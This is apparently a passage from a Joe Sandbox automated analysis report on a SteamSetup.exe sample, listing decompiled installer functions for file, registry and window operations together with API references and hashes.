Opcode Fuzzy Hash: f95c109804867172db61b1135defe61bd419d678e2b077b04fc1289a75674494
Instruction Fuzzy Hash: D3E08C326005009BCB20AFB5AA4999D3375EF50369710017BE402F10E1CABC9C408A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403932 Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403932() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x4216ec;
				_t3 = E00403917(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8)); // executed
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x4216ec =  *0x4216ec & 0x00000000;
				return _t3;
			}

0x00403933
0x0040393b
0x00403942
0x00403945
0x00403945
0x00403947
0x0040394c
0x00403953
0x00403959
0x0040395d
0x0040395e
0x00403966

APIs

FreeLibrary.KERNELBASE(?,74D0FAA0,00000000,74D0F560,00403909,C:\Users\user\AppData\Local\Temp\,00403708,?), ref: 0040394C
GlobalFree.KERNEL32 ref: 00403953

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID:
API String ID: 1100898210-0
Opcode ID: f4316848cbc6ebdc68634a281282690bfac6e24f3e15d004bec6d27d8a9ac131
Instruction ID: 420717e04dc644aaadfe3aeddcd4797dc829437e29e913c3c6529364dabb0ba4
Opcode Fuzzy Hash: f4316848cbc6ebdc68634a281282690bfac6e24f3e15d004bec6d27d8a9ac131
Instruction Fuzzy Hash: 41E012739011309BC6225F95ED44B5E7B6D6F95B32F0A423AE9807B26087B45D838FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405D53 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405D53(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405d57
0x00405d64
0x00405d79
0x00405d7f

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,80000000,00000003), ref: 00405D57
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D79

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction ID: e98dd403a5e5432679a9d4e257ef455d3d6759c2e5ed6cf280caa05d5291d686
Opcode Fuzzy Hash: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction Fuzzy Hash: B3D09E71654601EFEF098F20DF16F2E7AA2EB84B00F11562CB682940E0DA7158199B19

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2E Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D2E(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x00405d33
0x00405d39
0x00405d3e
0x00405d47
0x00405d47
0x00405d50

APIs

GetFileAttributesW.KERNELBASE(?,?,00405933,?,?,00000000,00405B09,?,?,?,?), ref: 00405D33
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405D47

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction ID: 62c1218995ad43f24aa052634507c0d83541fa9dca801c4eab67991220ff17ac
Opcode Fuzzy Hash: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction Fuzzy Hash: 40D01272504520AFC2513738EF0C89BBF95EB543B17028B35FAF9A22F0DB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405829 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405829(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x0040582f
0x00405837
0x00000000
0x0040583d
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004033A9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 0040582F
GetLastError.KERNEL32 ref: 0040583D

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction ID: d963a2520b22da8993c1f0374a54a6368e12bf2bf52e26206a68f99a8800bbf8
Opcode Fuzzy Hash: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction Fuzzy Hash: 1DC04C31204B029AD7506B609F097177954AB50781F11C8396946E00A0DE348465DE2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040229D(int __eax, WCHAR* __ebx) {
				WCHAR* _t11;
				WCHAR* _t13;
				void* _t17;
				int _t21;

				_t11 = __ebx;
				_t5 = __eax;
				_t13 = 0;
				if(__eax != __ebx) {
					__eax = E00402BBF(__ebx);
				}
				if( *((intOrPtr*)(_t17 - 0x28)) != _t11) {
					_t13 = E00402BBF(0x11);
				}
				if( *((intOrPtr*)(_t17 - 0x1c)) != _t11) {
					_t11 = E00402BBF(0x22);
				}
				_t5 = WritePrivateProfileStringW(0, _t13, _t11, E00402BBF(0xffffffcd)); // executed
				_t21 = _t5;
				if(_t21 == 0) {
					 *((intOrPtr*)(_t17 - 4)) = 1;
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x0040229d
0x0040229d
0x0040229f
0x004022a3
0x004022a6
0x004022ab
0x004022b0
0x004022b9
0x004022b9
0x004022be
0x004022c7
0x004022c7
0x004022d4
0x004015ac
0x004015ae
0x0040281e
0x0040281e
0x00402a4f
0x00402a5b

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 014b14aad264ab3d9278ecb8b720997d0a3792ab61640f4b6d401bffeacc1512
Instruction ID: a822d11f1d05533bca3208a69e79300e3559a9020bae074bf72d5f6ed1f8f9d7
Opcode Fuzzy Hash: 014b14aad264ab3d9278ecb8b720997d0a3792ab61640f4b6d401bffeacc1512
Instruction Fuzzy Hash: BCE04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Uniqueness

Uniqueness Score: -1.00%

Function 00405E05 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E05(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405e09
0x00405e19
0x00405e21
0x00000000
0x00405e28
0x00000000
0x00405e2a

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00412AD4,0040CED0,004032EF,0040CED0,00412AD4,00414ED0,00004000,?,00000000,00403119,00000004), ref: 00405E19

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: dac0b8971ba2920abb5474f128329a0fa477ab7403896bbfc0984bb8014ca22f
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 4AE08632100119ABCF105F50DC00EEB376CEB00350F004832FA65E2040E230EA219BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22
registryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00402CC9(void* __eflags, void* _a4) {
				short* _t8;
				intOrPtr _t9;
				signed int _t11;

				_t8 = E00402BBF(0x22);
				_t9 =  *0x40cdd8; // 0x19f408
				_t11 = RegOpenKeyExW(E00402CB4( *((intOrPtr*)(_t9 + 4))), _t8, 0,  *0x42a2f0 | _a4,  &_a4); // executed
				asm("sbb eax, eax");
				return  !( ~_t11) & _a4;
			}

0x00402cdd
0x00402ce3
0x00402cf1
0x00402cf9
0x00402d01

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2cb17219caef5c2c057f25c6a0d5a563c17eea178cedf0001938d6a474f7be63
Instruction ID: ef45ff86538a2d51f1b0222ec8c1b297abd10be8bd22699319dc95f068cee933
Opcode Fuzzy Hash: 2cb17219caef5c2c057f25c6a0d5a563c17eea178cedf0001938d6a474f7be63
Instruction Fuzzy Hash: CCE08676244108BFDB00DFA8DE47FD537ECAB14700F004031BA08D70D1C674E5508768

Uniqueness

Uniqueness Score: -1.00%

Function 00405DD6 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DD6(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405dda
0x00405dea
0x00405df2
0x00000000
0x00405df9
0x00000000
0x00405dfb

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040336B,0040A230,0040A230,0040326F,00414ED0,00004000,?,00000000,00403119), ref: 00405DEA

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction ID: f39de87387fc754cac4ceee649b5e38243fe2bf9183d254406dbd5143e25ae03
Opcode Fuzzy Hash: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction Fuzzy Hash: 57E0EC3221125AABDF509F65DC08AEB7B6DEF05360F008837F955E6160D631E9219BE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040601F Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040601F(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				int _t5;
				void* _t6;

				_t6 = __ecx;
				_t5 = MoveFileExW(_a4, _a8, 5); // executed
				if(_t5 == 0) {
					_push(_a8);
					_push(_a4);
					_t5 = E00405EAD(_t6);
				}
				 *0x42a2d0 =  *0x42a2d0 + 1;
				return _t5;
			}

0x0040601f
0x00406029
0x00406031
0x00406033
0x00406037
0x0040603b
0x00406041
0x00406042
0x00406048

APIs

MoveFileExW.KERNELBASE(?,?,00000005,00405B21,?,00000000,000000F1,?,?,?,?,?), ref: 00406029

Part of subcall function 00405EAD: lstrcpyW.KERNEL32 ref: 00405EBC
Part of subcall function 00405EAD: CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00406040,?,?), ref: 00405EE0
Part of subcall function 00405EAD: GetShortPathNameW.KERNEL32 ref: 00405EE9
Part of subcall function 00405EAD: GetShortPathNameW.KERNEL32 ref: 00405F06
Part of subcall function 00405EAD: wsprintfA.USER32 ref: 00405F24
Part of subcall function 00405EAD: GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 00405F5F
Part of subcall function 00405EAD: GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F6E
Part of subcall function 00405EAD: lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA6
Part of subcall function 00405EAD: SetFilePointer.KERNEL32(0040A588,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A588,00000000,[Rename],00000000,00000000,00000000), ref: 00405FFC

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: File$NamePathShortlstrcpy$AllocCloseGlobalHandleMovePointerSizewsprintf
String ID:
API String ID: 2305538632-0
Opcode ID: c3375b46b30391636c211c7ba3bb6b5856b401a82baf414915ce8378752f4d8e
Instruction ID: 18bddb7de20ac1970eb55a3559b5efcfaddd6cd83010f6772ef5631c43e5a1b0
Opcode Fuzzy Hash: c3375b46b30391636c211c7ba3bb6b5856b401a82baf414915ce8378752f4d8e
Instruction Fuzzy Hash: CBD0C73124C601BFDB255B10DD0591B7BA5FB90355F11C43EF595900B2E7368461EF0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404242 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404242(intOrPtr _a12) {
				intOrPtr _v0;
				struct HWND__* _v4;
				int _t7;
				void* _t8;
				void* _t9;
				void* _t10;

				_t7 = SetDlgItemTextW(_v4, _v0 + 0x3e8, E004061A0(_t8, _t9, _t10, 0, _a12)); // executed
				return _t7;
			}

0x0040425c
0x00404261

APIs

SetDlgItemTextW.USER32 ref: 0040425C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 7233622df6a7a8fb633e185686b3ac587ee5e59de1f4571593d5d0ba3e8b76bd
Instruction ID: 65f8c73b99d4ee7bdc81e4beaf37a5475fca5134ded6dd21b3b8f91a9c360ad6
Opcode Fuzzy Hash: 7233622df6a7a8fb633e185686b3ac587ee5e59de1f4571593d5d0ba3e8b76bd
Instruction Fuzzy Hash: F2C04C76148200BFE641A755CC42F1FB799EF9431AF40C52EB59CE51D2C63994309A2A

Uniqueness

Uniqueness Score: -1.00%

Function 0040428E Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040428E(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x429218;
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x0040428e
0x00404295
0x004042a0
0x00000000
0x004042a0
0x004042a6

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A0

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c2a25a807fea80bd58a61b321fa2af33aa5b35e52655131f61520799e32131e4
Instruction ID: 8584b4a80e8197aea4c9dd325401cbfcfbe68695eba590e205f4256e4e85e437
Opcode Fuzzy Hash: c2a25a807fea80bd58a61b321fa2af33aa5b35e52655131f61520799e32131e4
Instruction Fuzzy Hash: 67C04C71740600BBDA20CB649D45F1677546754740F1448697640A60E0C674D420D62C

Uniqueness

Uniqueness Score: -1.00%

Function 0040336E Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040336E(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x0040337c
0x00403382

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040306C,?), ref: 0040337C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction ID: 64c0fffafe8abe290eaf2022e63b776f1a4a3bd25e2fde741040b5855636c72c
Opcode Fuzzy Hash: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction Fuzzy Hash: 70B01231140300BFDA214F00DF09F057B21AB90700F10C034B344780F086711075EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404277 Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404277(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x42a248, 0x28, _a4, 1); // executed
				return _t2;
			}

0x00404285
0x0040428b

APIs

SendMessageW.USER32(00000028,?,00000001,004040A3), ref: 00404285

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

